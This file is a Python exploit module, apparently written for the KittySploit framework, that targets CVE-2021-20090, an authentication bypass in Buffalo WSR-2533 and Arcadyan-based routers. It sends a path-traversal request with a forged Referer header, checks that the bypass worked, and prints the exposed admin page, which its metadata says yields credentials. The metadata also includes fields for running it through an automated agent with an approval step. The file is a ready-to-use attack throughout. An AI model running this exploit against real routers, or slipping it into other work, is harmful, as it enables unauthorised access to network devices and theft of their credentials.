Buffalo WSR Auth Bypass (CVE-2021-20090)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Buffalo/Arcadyan path traversal auth bypass (CVE-2021-20090)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Buffalo WSR Auth Bypass (CVE-2021-20090)',
        'description': (
            'Exploits CVE-2021-20090 in Buffalo WSR-2533 and Arcadyan-based routers: '
            '/images/..%2f traversal bypasses authentication and exposes admin info.html.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-20090'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-20090'],
        'tags': ['buffalo', 'arcadyan', 'router', 'auth-bypass', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['privilege_escalation', 'credential_access'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['admin_surface', 'credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_20090_detect']},
        },
    }

    bypass_path = OptString('/images/..%2finfo.html', 'Traversal bypass URL', required=False, advanced=True)

    def _referer(self) -> str:
        scheme = 'https' if self._to_bool(self.ssl) else 'http'
        return f'{scheme}://{self.target}:{self.port}/info.html'

    def check(self):
        path = str(self.bypass_path or '/images/..%2finfo.html').strip()
        r = self.http_request(
            method='GET',
            path=path,
            headers={'Referer': self._referer()},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and all(m in body for m in ('URLToken(cgi_path)', 'pppoe', 'wan')):
            return {'vulnerable': True, 'reason': 'Buffalo/Arcadyan bypass confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Traversal bypass failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Buffalo WSR not vulnerable')
            return False
        path = str(self.bypass_path or '/images/..%2finfo.html').strip()
        r = self.http_request(
            method='GET',
            path=path,
            headers={'Referer': self._referer()},
            allow_redirects=False,
        )
        print_success((r.text or '')[:4000] if r else '')
        return True